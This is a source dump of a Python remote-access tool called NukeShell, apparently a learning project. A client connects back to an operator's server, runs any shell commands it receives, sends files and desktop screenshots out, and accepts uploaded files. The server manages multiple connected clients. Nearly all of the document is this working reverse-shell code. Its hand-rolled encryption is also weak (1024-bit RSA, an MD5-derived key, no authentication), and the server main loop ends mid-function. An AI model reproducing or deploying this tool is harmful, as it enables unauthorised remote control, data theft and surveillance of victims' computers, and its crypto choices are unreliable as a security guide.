├── Client ├── Core │ ├── commands.py │ ├── encryption.py │ └── server.py └── main.py ├── Images ├── logo.png └── usage.gif ├── LICENSE ├── README.md ├── Server ├── Core │ ├── cli.py │ ├── clients.py │ ├── encryption.py │ └── server.py └── main.py └── requirements.txt /Client/Core/commands.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | from json import dumps 9 | from time import ctime 10 | from colorama import Fore 11 | from getpass import getuser 12 | from pyscreenshot import grab 13 | from tempfile import gettempdir 14 | from subprocess import getoutput 15 | from platform import platform, node 16 | from os import chdir, curdir, path, remove, name 17 | 18 | """ Check if user is root/admin """ 19 | def IsAdmin() -> bool: 20 | if name == "nt": 21 | from ctypes import windll 22 | return windll.shell32.IsUserAnAdmin() != 0 23 | else: 24 | from os import getuid 25 | return getuid() == 0 26 | 27 | """ Run shell command and get output """ 28 | def Run(command: str, server) -> str: 29 | # exit: Close connection 30 | if command.lower() == "exit": 31 | print(f"{Fore.GREEN}[Server => Client]{Fore.WHITE} Closing connection ...{Fore.RESET}") 32 | server.socket.close() 33 | raise SystemExit 34 | # CD: Change working directory 35 | elif command.lower()[:2] == "cd": 36 | dir = command[3:] 37 | if path.exists(dir): 38 | chdir(dir) 39 | output = "Directory changed to: " + dir 40 | else: 41 | output = "Directory not found: " + dir 42 | # PWD: Get current directory 43 | elif command.lower()[:3] == "pwd" and len(command) == 3: 44 | return f"{Fore.GREEN}[Server <= Client]{Fore.WHITE} Working directory is: " + path.abspath(curdir) + f"{Fore.RESET}\n" 45 | # PREFIX: Get username & computer name 46 | elif command.lower()[:22] == "get_commandline_string": 47 | usr_color = Fore.LIGHTRED_EX if IsAdmin() else Fore.LIGHTGREEN_EX 48 | output = f"{usr_color}{getuser()}{Fore.LIGHTWHITE_EX}@{node()} {Fore.LIGHTGREEN_EX}{path.abspath(curdir)}{Fore.LIGHTWHITE_EX}> {Fore.LIGHTBLUE_EX}" 49 | # Get user info 50 | elif command.startswith("get_user_info"): 51 | output = dumps({"system": platform(), "username": getuser(), "compname": node(), "time": ctime()}) 52 | # UPLOAD: Send file from server to client 53 | elif command.startswith("begin_file_upload"): 54 | output = server.ReceiveFile() 55 | # DOWNLOAD: Send file from client to server 56 | elif command.startswith("begin_file_download"): 57 | file = command.split("*")[-1] 58 | output = server.SendFile(file) 59 | # SCREENSHOT: Get desktop screenshot 60 | elif command.startswith("create_screenshot"): 61 | file = path.join(gettempdir(), "screenshot.png") 62 | img = grab() 63 | img.save(file) 64 | output = server.SendFile(file) 65 | remove(file) 66 | # Get welcome message 67 | elif command.lower()[:18] == "get_welcome_string": 68 | output = \ 69 | f"\n {Fore.YELLOW}----< Welcome >----" \ 70 | f"\n {Fore.LIGHTYELLOW_EX}Connection encrypted using random {Fore.YELLOW}AES + RSA{Fore.LIGHTYELLOW_EX} key," \ 71 | f"\n {Fore.LIGHTYELLOW_EX}Current time is {Fore.YELLOW}{ctime()}{Fore.LIGHTYELLOW_EX}," \ 72 | f"\n {Fore.LIGHTYELLOW_EX}Welcome on {Fore.YELLOW}{node()}{Fore.LIGHTYELLOW_EX}, logged as {Fore.YELLOW}{getuser()}{Fore.LIGHTYELLOW_EX}," \ 73 | f"\n {Fore.LIGHTYELLOW_EX}Running on system {Fore.YELLOW}{platform()}{Fore.LIGHTYELLOW_EX}.\n" \ 74 | f"\n {Fore.YELLOW}----< Commands >----" \ 75 | f"\n {Fore.YELLOW}upload{Fore.LIGHTYELLOW_EX} (Upload local file)" \ 76 | f"\n {Fore.YELLOW}download{Fore.LIGHTYELLOW_EX} (Download remote file)" \ 77 | f"\n {Fore.YELLOW}screenshot{Fore.LIGHTYELLOW_EX} (Get desktop screenshot)" \ 78 | f"\n {Fore.YELLOW}disconnect{Fore.LIGHTYELLOW_EX} (Stop shell)" \ 79 | f"\n {Fore.YELLOW}exit{Fore.LIGHTYELLOW_EX} (Go back)" 80 | # SHELL: Execute shell command 81 | else: 82 | output = getoutput(command) 83 | 84 | return output 85 | 86 | 87 | -------------------------------------------------------------------------------- /Client/Core/encryption.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | from binascii import hexlify, unhexlify 9 | 10 | from Crypto.PublicKey import RSA 11 | from Crypto.Cipher import PKCS1_OAEP, AES 12 | from Crypto.Random import get_random_bytes 13 | from Crypto.Util.Padding import pad, unpad 14 | 15 | class RSACipher: 16 | def __init__(self): 17 | self.public_key, self.private_key = self._GenerateKeyPair() 18 | 19 | @staticmethod # Generate private and public RSA keys 20 | def _GenerateKeyPair() -> tuple: 21 | keyPair = RSA.generate(1024) 22 | pub_key = keyPair.publickey() 23 | public_key = pub_key.exportKey() 24 | return public_key, keyPair 25 | 26 | 27 | @staticmethod # Encrypt data using RSA public key 28 | def Encrypt(public_key_pem, data) -> bytes: 29 | public_key = RSA.importKey(public_key_pem) 30 | encryptor = PKCS1_OAEP.new(public_key) 31 | encrypted = encryptor.encrypt(data) 32 | return hexlify(encrypted) 33 | 34 | # Decrypt data using RSA private key 35 | def Decrypt(self, data) -> bytes: 36 | decryptor = PKCS1_OAEP.new(self.private_key) 37 | decrypted = decryptor.decrypt(unhexlify(data)) 38 | return decrypted 39 | 40 | class AESCipher: 41 | def __init__(self, key): 42 | self.key = key 43 | 44 | def Encrypt(self, data: bytes) -> bytes: 45 | iv = get_random_bytes(AES.block_size) 46 | cipher = AES.new(self.key, AES.MODE_CBC, iv) 47 | if type(data) == str: 48 | data = data.encode("utf8") 49 | return hexlify(iv + cipher.encrypt(pad(data, AES.block_size))) 50 | 51 | def Decrypt(self, data: bytes) -> bytes: 52 | raw = unhexlify(data) 53 | cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size]) 54 | return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size) 55 | 56 | -------------------------------------------------------------------------------- /Client/Core/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | from os import path 9 | from time import sleep 10 | from colorama import Fore 11 | from binascii import hexlify 12 | from zlib import compress, decompress 13 | from socket import socket, AF_INET, SOCK_STREAM 14 | from Core.encryption import RSACipher, AESCipher 15 | 16 | rsa = RSACipher() 17 | BUFFER_SIZE = 1024 * 20 18 | 19 | class ConnectServer: 20 | """ Connected to server """ 21 | def __init__(self, host: str, port: int): 22 | while True: 23 | try: 24 | # Create socket & connection 25 | self.socket = socket( 26 | AF_INET, 27 | SOCK_STREAM 28 | ) 29 | self.socket.connect((host, port)) 30 | # Try exchange encryption keys 31 | self.ExchangeEncryptionKeys() 32 | except Exception as error: 33 | print(f"{Fore.RED}[Client]{Fore.WHITE} Failed to exchange encryption keys with server ...\n", error) 34 | self.socket.close() 35 | sleep(2) 36 | #raise SystemExit 37 | else: 38 | break 39 | 40 | """ Send encrypted command from client """ 41 | def Send(self, data: str) -> None: 42 | encrypted = self.aes.Encrypt(data) 43 | self.socket.send(encrypted) 44 | 45 | """ Get encrypted data from client """ 46 | def Read(self) -> str: 47 | encrypted = self.socket.recv(BUFFER_SIZE) 48 | decrypted = self.aes.Decrypt(encrypted) 49 | return decrypted.decode("utf8") 50 | 51 | """ Disconnect client """ 52 | def Disconnect(self): 53 | print(f"{Fore.GREEN}[Client <= Server]{Fore.WHITE} Disconnecting ...{Fore.RESET}") 54 | self.socket.close() 55 | 56 | """ Send file to server """ 57 | def SendFile(self, filename): 58 | print(f"{Fore.GREEN}[Client => Server]{Fore.WHITE} Sending file:", path.abspath(filename) + Fore.RESET) 59 | # Check if file exists 60 | if not path.exists(filename): 61 | return f"{Fore.GREEN}[Client => Server]{Fore.WHITE} File not found!{Fore.RESET}" #self.Send("FAILED_FILE_TRANSFER") 62 | # Read file content 63 | with open(filename, "rb") as file: 64 | data = file.read() 65 | encrypted = self.aes.Encrypt(data) 66 | compressed = compress(encrypted) 67 | size = len(compressed) 68 | self.Send(f"BEGIN_FILE_TRANSFER*{size}*{filename}") # Send command, size, filename 69 | sleep(0.1) 70 | self.socket.sendall(compressed) 71 | sleep(0.1) 72 | self.Send("DONE_FILE_TRANSFER") 73 | return f"{Fore.GREEN}[Client => Server]{Fore.WHITE} File sent!{Fore.RESET}" 74 | 75 | """ Receive file from server """ 76 | def ReceiveFile(self): 77 | command = self.Read() 78 | if command.startswith("BEGIN_FILE_TRANSFER"): 79 | splt = command.split("*") 80 | size = int(splt[1]) 81 | filename = path.basename(splt[2]) 82 | print(f"{Fore.GREEN}[Client => Server]{Fore.WHITE} Receiving file:", 83 | path.basename(filename) + Fore.RESET) 84 | # Receive compressed and encrypted file bytes 85 | content = b"" 86 | while True: 87 | data = self.socket.recv(size) 88 | # print("\nReceived file chunk", data) 89 | # DONE_FILE_TRANSFER (marker received) 90 | if len(data) == 96: 91 | break 92 | # Done receiving 93 | if not data: 94 | break 95 | # Append bytes 96 | content += data 97 | 98 | # Decompress, Decrypt and write bytes 99 | with open(filename, "wb") as file: 100 | print(f" {Fore.LIGHTGREEN_EX}--- {Fore.LIGHTYELLOW_EX}Loaded bytes:", 101 | len(content), Fore.RESET) 102 | decompressed = decompress(content) 103 | print(f" {Fore.LIGHTGREEN_EX}--- {Fore.LIGHTYELLOW_EX}Decompressed bytes:", 104 | len(decompressed), Fore.RESET) 105 | decrypted = self.aes.Decrypt(decompressed) 106 | print(f" {Fore.LIGHTGREEN_EX}--- {Fore.LIGHTYELLOW_EX}Decrypted bytes:", 107 | len(decrypted), Fore.RESET) 108 | file.write(decrypted) 109 | # Done 110 | print(f"{Fore.GREEN}[Client => Server]{Fore.WHITE} File {path.basename(filename)} saved on disk!{Fore.RESET}") 111 | return path.abspath(filename) 112 | else: 113 | print(f"{Fore.GREEN}[Client => Server]{Fore.WHITE} Error:", command + Fore.RESET) 114 | 115 | """ Exchange encryption keys """ 116 | def ExchangeEncryptionKeys(self): 117 | # Send client RSA public key to server 118 | if self.socket.recv(BUFFER_SIZE) == b"GET_CLIENT_RSA_PUBLIC_KEY": 119 | self.socket.send(rsa.public_key) 120 | print(f"{Fore.GREEN}[Client => Server]{Fore.WHITE} RSA public key sent to server:\n" + 121 | Fore.LIGHTWHITE_EX + hexlify(rsa.public_key).decode() + Fore.RESET) 122 | # Receive RSA public key from server 123 | self.socket.send(b"GET_SERVER_RSA_PUBLIC_KEY") 124 | self.server_rsa_public_key = self.socket.recv(BUFFER_SIZE) 125 | print(f"{Fore.GREEN}[Client <= Server]{Fore.WHITE} RSA public key received from server:\n" + 126 | Fore.LIGHTWHITE_EX + hexlify(self.server_rsa_public_key).decode() + Fore.RESET) 127 | # Receive AES key from server 128 | self.socket.send(b"GET_SERVER_AES_KEY") 129 | self.server_aes_key = rsa.Decrypt(self.socket.recv(BUFFER_SIZE)) 130 | self.aes = AESCipher(self.server_aes_key) 131 | print(f"{Fore.GREEN}[Client <= Server]{Fore.WHITE} Encrypted AES key received from server:\n" + 132 | Fore.LIGHTWHITE_EX + hexlify(self.server_aes_key).decode() + Fore.RESET) -------------------------------------------------------------------------------- /Client/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | import Core.server as Server 9 | import Core.commands as Command 10 | from argparse import ArgumentParser 11 | from os import system, name, devnull 12 | 13 | # Change default encoding if running on windows 14 | if name == "nt": 15 | system("chcp 65001 > " + devnull) 16 | 17 | # Parse arguments 18 | parser = ArgumentParser(description="NukeShell client arguments") 19 | parser.add_argument("--host", type=str, default="127.0.0.1", help="Connect to IP") 20 | parser.add_argument("--port", type=int, default=5125, help="Connect to port") 21 | args = parser.parse_args() 22 | 23 | # Server settings 24 | SERVER_HOST = args.host 25 | SERVER_PORT = args.port 26 | 27 | # Connect to server 28 | server = Server.ConnectServer(SERVER_HOST, SERVER_PORT) 29 | 30 | command = "" 31 | while command.lower() != "exit": 32 | # Receive commands from server 33 | command = server.Read() 34 | # Run command 35 | output = Command.Run(command, server) 36 | # Send command response 37 | server.Send(output) 38 | # Close connection 39 | server.Disconnect() 40 | -------------------------------------------------------------------------------- /Images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MLX15/NukeShell/540a2f09922803f6c168dad0e7dc78d2718e1d19/Images/logo.png -------------------------------------------------------------------------------- /Images/usage.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MLX15/NukeShell/540a2f09922803f6c168dad0e7dc78d2718e1d19/Images/usage.gif -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Imperator Vladimir 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### :loudspeaker: I created this while learning how sockets and cryptography work in python. So bugs are possible. 2 | 3 |

4 |
5 |

6 | 7 | ## :gear: Commands 8 | :cop: _Run server:_ 9 | ``` bash 10 | python3 Server/main.py --port 5050 11 | ``` 12 | :construction_worker: _Run client:_ 13 | ``` bash 14 | python3 Client/main.py --host 127.0.0.1 --port 5050 15 | ``` 16 | 17 | ## :tada: Features 18 | - [x] Connection is encrypted using random RSA + AES key 19 | - [x] Multiple clients support 20 | - [x] Execute shell commands 21 | - [x] Download/Upload files 22 | - [x] Take screenshot 23 | - [x] Cross platform 24 | 25 | ## :computer: Example 26 |

27 |
28 |

29 | 30 | -------------------------------------------------------------------------------- /Server/Core/cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | from colorama import Fore 9 | from os import name, system 10 | from argparse import ArgumentParser 11 | 12 | # Parse command line 13 | def ParseArgs(): 14 | parser = ArgumentParser(description="NukeShell server arguments") 15 | parser.add_argument("--host", type=str, default="0.0.0.0", help="Listen IP") 16 | parser.add_argument("--port", type=int, default=5125, help="Listen port") 17 | return parser.parse_args() 18 | 19 | # Clear terminal window 20 | def Clear(): 21 | system("cls" if name == "nt" else "clear") 22 | 23 | # Terminal banner 24 | Banner = rf"""{Fore.LIGHTGREEN_EX} 25 | _ _ _ __ _____ ____ _ _____ _ _ 26 | / \ /|/ \ /\/ |/ // __/ / ___\/ \ /|/ __// \ / \ 27 | | |\ ||| | ||| / | \ | \| |_||| \ | | | | 28 | | | \||| \_/|| \ | /_ \___ || | ||| /_ | |_/\| |_/\ 29 | \_/ \|\____/\_|\_\\____\ \____/\_/ \|\____\\____/\____/ 30 | {Fore.LIGHTYELLOW_EX}Created by LimerBoy{Fore.RESET} 31 | """ 32 | 33 | -------------------------------------------------------------------------------- /Server/Core/clients.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | from os import path 9 | from json import loads 10 | from time import sleep 11 | from colorama import Fore 12 | from zlib import compress, decompress 13 | from Core.encryption import RSACipher, AESCipher 14 | 15 | aes = AESCipher() 16 | rsa = RSACipher() 17 | BUFFER_SIZE = 1024 * 20 18 | 19 | 20 | # client manager 21 | global ClientManager, ClientsManager 22 | 23 | class Client: 24 | """ Connected client object """ 25 | def __init__(self, client_socket, client_address): 26 | self.socket = client_socket 27 | self.address = client_address 28 | # Try exchange encryption keys 29 | try: 30 | self.ExchangeEncryptionKeys() 31 | except Exception as error: 32 | print(f"{Fore.RED}[Server]{Fore.WHITE} Failed to exchange encryption keys with client ...\n", error) 33 | self.socket.close() 34 | else: 35 | # Get user info 36 | self.GetClientInfo() 37 | # Add this client to list 38 | ClientsManager.Append(self) 39 | 40 | """ Send encrypted command from client """ 41 | def Send(self, data: str) -> None: 42 | encoded = data.encode("utf8") 43 | encrypted = aes.Encrypt(encoded) 44 | self.socket.send(encrypted) 45 | 46 | """ Get encrypted data from client """ 47 | def Read(self) -> str: 48 | while True: 49 | encrypted = self.socket.recv(BUFFER_SIZE) 50 | if not encrypted: 51 | sleep(1) 52 | continue 53 | decrypted = aes.Decrypt(encrypted) 54 | return decrypted.decode("utf8") 55 | 56 | """ Run shell command """ 57 | def Shell(self, command: str) -> str: 58 | self.Send(command) 59 | return self.Read() 60 | 61 | """ Disconnect client """ 62 | def Disconnect(self): 63 | print(f"{Fore.RED}[Server]{Fore.WHITE} Closing connection with:", *self.address, Fore.RESET) 64 | ClientsManager.Remove(self) 65 | self.Send("exit") 66 | self.socket.close() 67 | 68 | """ Send file to client """ 69 | def SendFile(self, filename): 70 | print(f"{Fore.GREEN}[Server => Client]{Fore.WHITE} Sending file:", 71 | path.abspath(filename) + Fore.RESET) 72 | # Check if file exists 73 | if not path.exists(filename): 74 | return f"{Fore.GREEN}[Server => Client]{Fore.WHITE} File not found!{Fore.RESET}" #self.Send("FAILED_FILE_TRANSFER") 75 | # Read file content 76 | with open(filename, "rb") as file: 77 | data = file.read() 78 | encrypted = aes.Encrypt(data) 79 | compressed = compress(encrypted) 80 | size = len(compressed) 81 | self.Send(f"BEGIN_FILE_TRANSFER*{size}*{filename}") # Send command, size, filename 82 | sleep(0.1) 83 | self.socket.sendall(compressed) 84 | # Done 85 | sleep(0.1) 86 | self.Send("DONE_FILE_TRANSFER") 87 | return f"{Fore.GREEN}[Server => Client]{Fore.WHITE} File sent!{Fore.RESET}" 88 | 89 | """ Receive file from client """ 90 | def ReceiveFile(self): 91 | command = self.Read() 92 | if command.startswith("BEGIN_FILE_TRANSFER"): 93 | splt = command.split("*") 94 | size = int(splt[1]) 95 | filename = path.basename(splt[2]) 96 | print(f"{Fore.GREEN}[Server <= Client]{Fore.WHITE} Receiving file:", 97 | path.basename(filename) + Fore.RESET) 98 | # Receive compressed and encrypted file bytes 99 | content = b"" 100 | while True: 101 | data = self.socket.recv(size) 102 | if len(data) == 96: 103 | break 104 | # Done receiving 105 | if not data: 106 | break 107 | # Append bytes 108 | content += data 109 | 110 | # Decompress, Decrypt and write bytes 111 | with open(filename, "wb") as file: 112 | print(f" {Fore.LIGHTGREEN_EX}--- {Fore.LIGHTYELLOW_EX}Loaded bytes:", 113 | len(content), Fore.RESET) 114 | decompressed = decompress(content) 115 | print(f" {Fore.LIGHTGREEN_EX}--- {Fore.LIGHTYELLOW_EX}Decompressed bytes:", 116 | len(decompressed), Fore.RESET) 117 | decrypted = aes.Decrypt(decompressed) 118 | print(f" {Fore.LIGHTGREEN_EX}--- {Fore.LIGHTYELLOW_EX}Decrypted bytes:", 119 | len(decrypted), Fore.RESET) 120 | file.write(decrypted) 121 | # Done 122 | print(f"{Fore.GREEN}[Server <= Client]{Fore.WHITE} File {path.basename(filename)} saved on disk!{Fore.RESET}") 123 | return path.abspath(filename) 124 | else: 125 | print(f"{Fore.GREEN}[Server <= Client]{Fore.WHITE} Error:", command + Fore.RESET) 126 | 127 | """ Get client info """ 128 | def GetClientInfo(self): 129 | self.info = loads( 130 | self.Shell("get_user_info")) 131 | 132 | """ Exchange encryption keys """ 133 | def ExchangeEncryptionKeys(self): 134 | # Receive RSA public key from connected client 135 | self.socket.send(b"GET_CLIENT_RSA_PUBLIC_KEY") 136 | self.client_public_key = self.socket.recv(BUFFER_SIZE) 137 | # print(f"{Fore.GREEN}[Server <= Client]{Fore.WHITE} RSA public key received:\n{Fore.LIGHTWHITE_EX}" 138 | # + hexlify(self.client_public_key).decode() + Fore.RESET) 139 | # Send RSA server public key to connected client 140 | if self.socket.recv(BUFFER_SIZE) == b"GET_SERVER_RSA_PUBLIC_KEY": 141 | self.socket.send(rsa.public_key) 142 | # print(f"{Fore.GREEN}[Server => Client]{Fore.WHITE} RSA public key sent to client:\n{Fore.LIGHTWHITE_EX}" 143 | # + hexlify(rsa.public_key).decode() + Fore.RESET) 144 | # Send encrypted AES key to connected client 145 | if self.socket.recv(BUFFER_SIZE) == b"GET_SERVER_AES_KEY": 146 | encrypted_aes_key = rsa.Encrypt(self.client_public_key, aes.key) 147 | self.socket.send(encrypted_aes_key) 148 | # print(f"{Fore.GREEN}[Server => Client]{Fore.WHITE} Encrypted AES key sent to client:\n{Fore.LIGHTWHITE_EX}" 149 | # + hexlify(aes.key).decode() + Fore.RESET) 150 | 151 | 152 | class ClientManager: 153 | """ Connected clients object """ 154 | 155 | def __init__(self): 156 | self.clients = [] 157 | 158 | def Append(self, client: Client): 159 | self.clients.append(client) 160 | 161 | def Remove(self, client: Client): 162 | self.clients.remove(client) 163 | 164 | def GetConnectedClients(self): 165 | connected = [] 166 | for client in self.clients: 167 | if client.socket.fileno() != -1: 168 | connected.append(client) 169 | return connected 170 | 171 | 172 | 173 | ClientsManager = ClientManager() 174 | -------------------------------------------------------------------------------- /Server/Core/encryption.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | from hashlib import md5 9 | from binascii import hexlify, unhexlify 10 | 11 | from Crypto.PublicKey import RSA 12 | from Crypto.Cipher import PKCS1_OAEP, AES 13 | from Crypto.Random import get_random_bytes 14 | from Crypto.Util.Padding import pad, unpad 15 | 16 | class RSACipher: 17 | def __init__(self): 18 | self.public_key, self.private_key = self._GenerateKeyPair() 19 | 20 | @staticmethod # Generate private and public RSA keys 21 | def _GenerateKeyPair() -> tuple: 22 | keyPair = RSA.generate(1024) 23 | pub_key = keyPair.publickey() 24 | public_key = pub_key.exportKey() 25 | return public_key, keyPair 26 | 27 | 28 | @staticmethod # Encrypt data using RSA public key 29 | def Encrypt(public_key_pem, data) -> bytes: 30 | public_key = RSA.importKey(public_key_pem) 31 | encryptor = PKCS1_OAEP.new(public_key) 32 | encrypted = encryptor.encrypt(data) 33 | return hexlify(encrypted) 34 | 35 | # Decrypt data using RSA private key 36 | def Decrypt(self, data) -> bytes: 37 | decryptor = PKCS1_OAEP.new(self.private_key) 38 | decrypted = decryptor.decrypt(unhexlify(data)) 39 | return decrypted 40 | 41 | class AESCipher: 42 | def __init__(self): 43 | self.key = md5(self._GenerateKey().encode("utf8")).digest() 44 | 45 | @staticmethod 46 | def _GenerateKey(): 47 | return get_random_bytes(36).decode("utf8", "ignore") 48 | 49 | def Encrypt(self, data: bytes) -> bytes: 50 | iv = get_random_bytes(AES.block_size) 51 | cipher = AES.new(self.key, AES.MODE_CBC, iv) 52 | return hexlify(iv + cipher.encrypt(pad(data, AES.block_size))) 53 | 54 | def Decrypt(self, data: bytes) -> bytes: 55 | raw = unhexlify(data) 56 | cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size]) 57 | return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size) 58 | 59 | -------------------------------------------------------------------------------- /Server/Core/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | from sys import exit 9 | from time import sleep 10 | from colorama import Fore 11 | from threading import Thread 12 | from Core.clients import Client, ClientsManager 13 | from socket import socket, \ 14 | AF_INET, SOCK_STREAM, SO_REUSEADDR, SOL_SOCKET, SHUT_RDWR 15 | 16 | 17 | """ TCP server class """ 18 | class ServerListen: 19 | """ Constructor """ 20 | def __init__(self, host, port): 21 | self.host = host 22 | self.port = port 23 | self.ServerStopped = False 24 | self.server = self.InitServer(host, port) 25 | Thread(target=self.AcceptClients).start() 26 | 27 | # Stop server 28 | def StopServer(self): 29 | self.ServerStopped = True 30 | ConnectedClients = ClientsManager.GetConnectedClients() 31 | clients = len(ConnectedClients) 32 | print(f"\n{Fore.RED}[Server]{Fore.WHITE} Disconnecting {clients} clients ...") 33 | # Disconnect all clients 34 | for client in ConnectedClients: 35 | Thread(target=client.Disconnect).start() 36 | # Wait for all clients disconnection 37 | # while len(ConnectedClients) != 0: 38 | # print(len(ConnectedClients)) 39 | # sleep(0.2) 40 | sleep(clients / 2) 41 | # Stop tcp server 42 | print(f"{Fore.RED}[Server]{Fore.WHITE} Stopping server ...") 43 | self.server.shutdown(SHUT_RDWR) 44 | self.server.close() 45 | exit(1) 46 | 47 | # Initialize server socket 48 | @staticmethod 49 | def InitServer(host="0.0.0.0", port=5125) -> socket: 50 | # Create sockets 51 | server = socket( 52 | AF_INET, 53 | SOCK_STREAM 54 | ) 55 | # Settings 56 | server.settimeout(50) 57 | server.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 58 | # Bind socket 59 | server.bind((host, port)) 60 | server.listen(5) 61 | print(f"{Fore.GREEN}[Server]{Fore.WHITE} Listening at {host}:{port} ...{Fore.RESET}") 62 | return server 63 | 64 | # Accept all connections 65 | def AcceptClients(self): 66 | while True: 67 | # Client connected 68 | try: 69 | connection, address = self.server.accept() 70 | Client(connection, address) 71 | except OSError as e: 72 | if self.ServerStopped: 73 | return 74 | connection.close() 75 | print(f"{Fore.RED}[Server]{Fore.WHITE} Failed to accept client", *address, Fore.RESET, e) 76 | self.__init__(self.host, self.port) 77 | break 78 | 79 | 80 | -------------------------------------------------------------------------------- /Server/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author : LimerBoy 5 | # github.com/LimerBoy/NukeShell 6 | 7 | # Import modules 8 | from os import path 9 | from time import sleep 10 | from colorama import Fore 11 | from Core.server import ServerListen 12 | from Core.cli import Clear, ParseArgs, Banner 13 | from Core.clients import Client, ClientsManager 14 | 15 | # Parse arguments 16 | print(Banner) 17 | args = ParseArgs() 18 | 19 | # Server settings 20 | SERVER_HOST = args.host 21 | SERVER_PORT = args.port 22 | 23 | # Init TCP server 24 | server = ServerListen(SERVER_HOST, SERVER_PORT) 25 | 26 | while True: 27 | # Lock while no clients connected 28 | print(f"{Fore.GREEN}[Server]{Fore.WHITE} Waiting for connections ...{Fore.RESET}") 29 | ConnectedClients = [] 30 | while len(ConnectedClients) <= 0: 31 | ConnectedClients = ClientsManager.GetConnectedClients() 32 | try: 33 | sleep(0.2) 34 | except KeyboardInterrupt: 35 | server.StopServer() 36 | # Print all connected clients 37 | for i, client in enumerate(ConnectedClients): 38 | print("{}[Client {}] {}{}:{}{}".format(Fore.LIGHTYELLOW_EX, i+1, Fore.WHITE, *client.address, Fore.RESET)) 39 | 40 | # Get client from list 41 | try: 42 | data = input(f"\n{Fore.GREEN}[Server]{Fore.WHITE} Please select client from list: {Fore.RESET}") 43 | # Cls 44 | if not data or data.lower() in ["cls", "clear"]: 45 | # Clear terminal window 46 | Clear() 47 | continue 48 | # Exit 49 | elif data.lower() in ["q", "exit", "quit", "stop"]: 50 | raise KeyboardInterrupt 51 | # Parse client from list 52 | client = ConnectedClients[int(data) - 1] 53 | except ValueError: 54 | Clear() 55 | print(f"{Fore.RED}[Server]{Fore.WHITE} Please enter digit{Fore.RESET}") 56 | continue 57 | except IndexError: 58 | Clear() 59 | print(f"{Fore.RED}[Server]{Fore.WHITE} Please select from 1 to", 60 | len(ConnectedClients), Fore.RESET) 61 | continue 62 | except KeyboardInterrupt: 63 | # Disconnect all clients from server 64 | server.StopServer() 65 | except Exception as error: 66 | print(f"{Fore.RED}[Server]{Fore.WHITE} An error occurred\n", error) 67 | continue 68 | 69 | # Clear terminal window 70 | Clear() 71 | 72 | # Show client welcome message 73 | welcome = client.Shell("get_welcome_string") 74 | print(welcome + "\n") 75 | 76 | # Execute commands 77 | while True: 78 | # Get input 79 | prefix = client.Shell("get_commandline_string") 80 | command = input(prefix) 81 | response = "" 82 | # Check if command exists 83 | if len(command) == 0: 84 | continue 85 | # Upload file from server to client 86 | elif command.startswith("upload"): 87 | file = command.replace("upload ", "") 88 | if path.exists(file): 89 | client.Send("begin_file_upload") 90 | response = client.SendFile(file) 91 | client.Read() # Clean 92 | # Download file from client to server 93 | elif command.startswith("download"): 94 | file = command.replace("download ", "") 95 | client.Send(f"begin_file_download*{file}") 96 | response = client.ReceiveFile() 97 | client.Read() # Clean 98 | # Get desktop screenshot 99 | elif command.startswith("screenshot"): 100 | client.Send("create_screenshot") 101 | response = client.ReceiveFile() 102 | client.Read() # Clean 103 | # Exit from shell 104 | elif command.startswith("exit"): 105 | # Clear terminal window 106 | Clear() 107 | 